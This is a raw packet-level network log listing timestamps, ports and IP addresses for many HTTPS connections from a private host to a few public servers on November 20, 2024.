Nov 20, 2024 01:18:32.235208988 CET	443	49767	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:32.235333920 CET	49767	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:32.235368967 CET	49767	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:32.235378981 CET	443	49767	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:32.235389948 CET	49767	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:32.235394955 CET	443	49767	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:32.237688065 CET	49773	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:32.237735033 CET	443	49773	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:32.237791061 CET	49773	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:32.237937927 CET	49773	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:32.237958908 CET	443	49773	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:32.254730940 CET	443	49769	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:32.254797935 CET	443	49769	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:32.254906893 CET	49769	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:32.255080938 CET	49769	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:32.255094051 CET	443	49769	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:32.255152941 CET	49769	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:32.255158901 CET	443	49769	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:32.258215904 CET	49774	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:32.258229017 CET	443	49774	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:32.258342981 CET	49774	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:32.258838892 CET	49774	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:32.258852005 CET	443	49774	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:32.375694990 CET	49775	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:32.375715971 CET	443	49775	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:32.375833035 CET	49775	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:32.376216888 CET	49775	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:32.376231909 CET	443	49775	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:32.419967890 CET	49776	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:18:32.420002937 CET	443	49776	40.113.103.199	192.168.2.5
Nov 20, 2024 01:18:32.420099974 CET	49776	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:18:32.420804024 CET	49776	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:18:32.420823097 CET	443	49776	40.113.103.199	192.168.2.5
Nov 20, 2024 01:18:32.714207888 CET	443	49770	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:32.714930058 CET	49770	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:32.714956999 CET	443	49770	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:32.715454102 CET	49770	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:32.715466976 CET	443	49770	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:32.821090937 CET	443	49770	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:32.821171045 CET	443	49770	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:32.821281910 CET	49770	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:32.821480036 CET	49770	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:32.821492910 CET	443	49770	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:32.821508884 CET	49770	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:32.821515083 CET	443	49770	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:32.824637890 CET	49777	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:32.824660063 CET	443	49777	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:32.824736118 CET	49777	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:32.824922085 CET	49777	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:32.824937105 CET	443	49777	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:32.850619078 CET	443	49775	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:32.850765944 CET	49775	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:32.852324009 CET	49775	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:32.852333069 CET	443	49775	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:32.852750063 CET	443	49775	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:32.854343891 CET	49775	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:32.855304003 CET	49775	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:32.855348110 CET	443	49775	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:32.855490923 CET	49775	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:32.855528116 CET	443	49775	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:32.855688095 CET	49775	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:32.855719090 CET	443	49775	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:32.855853081 CET	49775	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:32.855880976 CET	443	49775	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:32.856012106 CET	49775	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:32.856045008 CET	443	49775	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:32.856190920 CET	49775	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:32.856235027 CET	443	49775	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:32.856247902 CET	49775	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:32.856256008 CET	443	49775	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:32.856409073 CET	49775	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:32.856452942 CET	49775	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:32.869956017 CET	443	49775	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:32.870170116 CET	49775	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:32.870223045 CET	443	49775	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:32.870224953 CET	49775	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:32.870244980 CET	49775	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:32.870311975 CET	443	49775	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:32.870383024 CET	49775	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:32.870419025 CET	443	49775	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:32.870424032 CET	49775	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:32.870452881 CET	443	49775	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:32.876964092 CET	443	49771	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:32.879626036 CET	49771	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:32.879641056 CET	443	49771	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:32.880620956 CET	49771	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:32.880628109 CET	443	49771	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:32.891860962 CET	443	49773	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:32.892384052 CET	49773	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:32.892410994 CET	443	49773	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:32.892961025 CET	49773	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:32.892967939 CET	443	49773	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:32.899221897 CET	443	49772	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:32.899617910 CET	49772	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:32.899631977 CET	443	49772	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:32.900084972 CET	49772	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:32.900089979 CET	443	49772	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:32.938153028 CET	443	49774	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:32.938575983 CET	49774	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:32.938592911 CET	443	49774	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:32.939043999 CET	49774	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:32.939049006 CET	443	49774	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:32.976790905 CET	443	49771	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:32.976867914 CET	443	49771	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:32.976934910 CET	49771	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:32.977116108 CET	49771	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:32.977137089 CET	443	49771	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:32.977171898 CET	49771	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:32.977179050 CET	443	49771	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:32.979567051 CET	49778	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:32.979603052 CET	443	49778	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:32.979698896 CET	49778	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:32.979792118 CET	49778	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:32.979803085 CET	443	49778	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:32.996396065 CET	443	49773	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:32.996586084 CET	443	49773	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:32.996682882 CET	49773	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:32.996711016 CET	49773	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:32.996711016 CET	49773	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:32.996726990 CET	443	49773	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:32.996738911 CET	443	49773	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:32.999022007 CET	49779	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:32.999094963 CET	443	49779	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:32.999181032 CET	49779	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:32.999305964 CET	49779	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:32.999329090 CET	443	49779	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:33.003566980 CET	443	49772	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:33.003665924 CET	443	49772	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:33.003710985 CET	49772	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:33.003793955 CET	49772	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:33.003802061 CET	443	49772	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:33.003812075 CET	49772	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:33.003818035 CET	443	49772	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:33.006000996 CET	49780	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:33.006023884 CET	443	49780	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:33.006102085 CET	49780	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:33.006388903 CET	49780	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:33.006403923 CET	443	49780	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:33.042327881 CET	443	49774	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:33.042483091 CET	443	49774	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:33.042541981 CET	49774	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:33.042603016 CET	49774	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:33.042608976 CET	443	49774	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:33.042620897 CET	49774	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:33.042623997 CET	443	49774	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:33.045131922 CET	49781	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:33.045149088 CET	443	49781	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:33.045224905 CET	49781	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:33.045559883 CET	49781	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:33.045572996 CET	443	49781	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:33.208240986 CET	443	49776	40.113.103.199	192.168.2.5
Nov 20, 2024 01:18:33.208323956 CET	49776	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:18:33.211200953 CET	49776	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:18:33.211214066 CET	443	49776	40.113.103.199	192.168.2.5
Nov 20, 2024 01:18:33.211544991 CET	443	49776	40.113.103.199	192.168.2.5
Nov 20, 2024 01:18:33.223267078 CET	49776	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:18:33.223346949 CET	49776	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:18:33.223355055 CET	443	49776	40.113.103.199	192.168.2.5
Nov 20, 2024 01:18:33.223527908 CET	49776	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:18:33.271325111 CET	443	49776	40.113.103.199	192.168.2.5
Nov 20, 2024 01:18:33.404007912 CET	443	49776	40.113.103.199	192.168.2.5
Nov 20, 2024 01:18:33.404200077 CET	443	49776	40.113.103.199	192.168.2.5
Nov 20, 2024 01:18:33.404272079 CET	49776	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:18:33.404421091 CET	49776	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:18:33.404438972 CET	443	49776	40.113.103.199	192.168.2.5
Nov 20, 2024 01:18:33.459992886 CET	443	49777	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:33.460441113 CET	49777	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:33.460455894 CET	443	49777	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:33.460916042 CET	49777	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:33.460922956 CET	443	49777	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:33.560743093 CET	443	49777	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:33.560813904 CET	443	49777	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:33.560875893 CET	49777	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:33.561121941 CET	49777	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:33.561141014 CET	443	49777	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:33.561172009 CET	49777	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:33.561178923 CET	443	49777	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:33.565082073 CET	49782	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:33.565109015 CET	443	49782	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:33.565207005 CET	49782	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:33.565474987 CET	49782	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:33.565488100 CET	443	49782	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:33.620265961 CET	443	49778	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:33.620839119 CET	49778	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:33.620855093 CET	443	49778	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:33.621332884 CET	49778	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:33.621337891 CET	443	49778	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:33.644458055 CET	443	49779	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:33.645001888 CET	49779	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:33.645024061 CET	443	49779	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:33.645459890 CET	49779	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:33.645464897 CET	443	49779	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:33.659229994 CET	443	49780	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:33.659740925 CET	49780	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:33.659759998 CET	443	49780	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:33.660094976 CET	49780	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:33.660101891 CET	443	49780	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:33.710391045 CET	443	49781	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:33.710903883 CET	49781	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:33.710916996 CET	443	49781	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:33.711328030 CET	49781	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:33.711333990 CET	443	49781	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:33.719825029 CET	443	49778	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:33.719958067 CET	443	49778	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:33.720052004 CET	49778	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:33.720112085 CET	49778	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:33.720128059 CET	443	49778	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:33.720168114 CET	49778	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:33.720175982 CET	443	49778	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:33.722884893 CET	49783	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:33.722903967 CET	443	49783	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:33.722976923 CET	49783	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:33.723095894 CET	49783	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:33.723104954 CET	443	49783	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:33.743845940 CET	443	49779	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:33.743972063 CET	443	49779	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:33.744076014 CET	49779	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:33.744117975 CET	49779	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:33.744117975 CET	49779	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:33.744143009 CET	443	49779	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:33.744157076 CET	443	49779	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:33.746473074 CET	49784	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:33.746505022 CET	443	49784	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:33.746691942 CET	49784	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:33.746691942 CET	49784	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:33.746725082 CET	443	49784	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:33.760673046 CET	443	49780	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:33.760751009 CET	443	49780	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:33.760941029 CET	49780	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:33.760941029 CET	49780	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:33.760978937 CET	49780	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:33.760996103 CET	443	49780	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:33.763211966 CET	49785	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:33.763226986 CET	443	49785	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:33.763334036 CET	49785	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:33.763463020 CET	49785	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:33.763478994 CET	443	49785	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:33.809679985 CET	443	49781	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:33.809760094 CET	443	49781	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:33.809964895 CET	49781	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:33.810009003 CET	49781	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:33.810014963 CET	443	49781	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:33.810039043 CET	49781	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:33.810043097 CET	443	49781	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:33.812633991 CET	49786	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:33.812685966 CET	443	49786	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:33.812769890 CET	49786	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:33.812916994 CET	49786	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:33.812937975 CET	443	49786	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:34.359940052 CET	443	49782	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:34.360650063 CET	49782	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:34.360668898 CET	443	49782	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:34.361211061 CET	49782	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:34.361217976 CET	443	49782	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:34.364603043 CET	443	49783	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:34.364962101 CET	49783	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:34.364998102 CET	443	49783	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:34.365463018 CET	49783	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:34.365474939 CET	443	49783	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:34.387306929 CET	443	49784	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:34.387741089 CET	49784	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:34.387777090 CET	443	49784	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:34.388173103 CET	49784	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:34.388180971 CET	443	49784	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:34.433300018 CET	443	49785	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:34.433758974 CET	49785	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:34.433780909 CET	443	49785	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:34.434211016 CET	49785	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:34.434216022 CET	443	49785	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:34.454402924 CET	443	49786	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:34.454893112 CET	49786	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:34.454926968 CET	443	49786	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:34.455487013 CET	49786	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:34.455495119 CET	443	49786	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:34.479954004 CET	443	49783	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:34.479989052 CET	443	49782	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:34.480019093 CET	443	49783	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:34.480067015 CET	443	49782	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:34.480079889 CET	49783	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:34.480103016 CET	49782	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:34.480185032 CET	49783	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:34.480199099 CET	443	49783	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:34.480211020 CET	49783	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:34.480216026 CET	443	49783	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:34.480581045 CET	49782	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:34.480597019 CET	443	49782	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:34.480612040 CET	49782	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:34.480617046 CET	443	49782	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:34.483798027 CET	49787	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:34.483835936 CET	443	49787	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:34.484074116 CET	49787	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:34.485183954 CET	49788	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:34.485217094 CET	443	49788	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:34.485274076 CET	49788	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:34.485430002 CET	49787	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:34.485460043 CET	443	49787	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:34.485620022 CET	49788	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:34.485630989 CET	443	49788	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:34.487551928 CET	443	49784	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:34.487740993 CET	443	49784	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:34.487848997 CET	49784	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:34.487921953 CET	49784	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:34.487921953 CET	49784	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:34.487934113 CET	443	49784	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:34.487943888 CET	443	49784	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:34.490326881 CET	49789	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:34.490362883 CET	443	49789	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:34.490596056 CET	49789	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:34.490737915 CET	49789	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:34.490746021 CET	443	49789	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:34.540412903 CET	443	49785	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:34.540472031 CET	443	49785	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:34.540712118 CET	49785	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:34.540743113 CET	49785	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:34.540754080 CET	443	49785	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:34.540781975 CET	49785	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:34.540786982 CET	443	49785	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:34.543576956 CET	49790	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:34.543627024 CET	443	49790	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:34.543812037 CET	49790	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:34.543915987 CET	49790	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:34.543927908 CET	443	49790	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:34.571201086 CET	443	49786	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:34.571274996 CET	443	49786	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:34.571393013 CET	49786	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:34.578528881 CET	49786	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:34.578556061 CET	443	49786	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:34.578571081 CET	49786	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:34.578578949 CET	443	49786	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:34.581671953 CET	49791	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:34.581701994 CET	443	49791	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:34.581763029 CET	49791	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:34.581899881 CET	49791	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:34.581912041 CET	443	49791	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:35.117878914 CET	443	49787	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:35.118427038 CET	49787	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:35.118455887 CET	443	49787	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:35.118961096 CET	49787	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:35.118967056 CET	443	49787	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:35.125612020 CET	443	49788	13.107.246.45	192.168.2.5
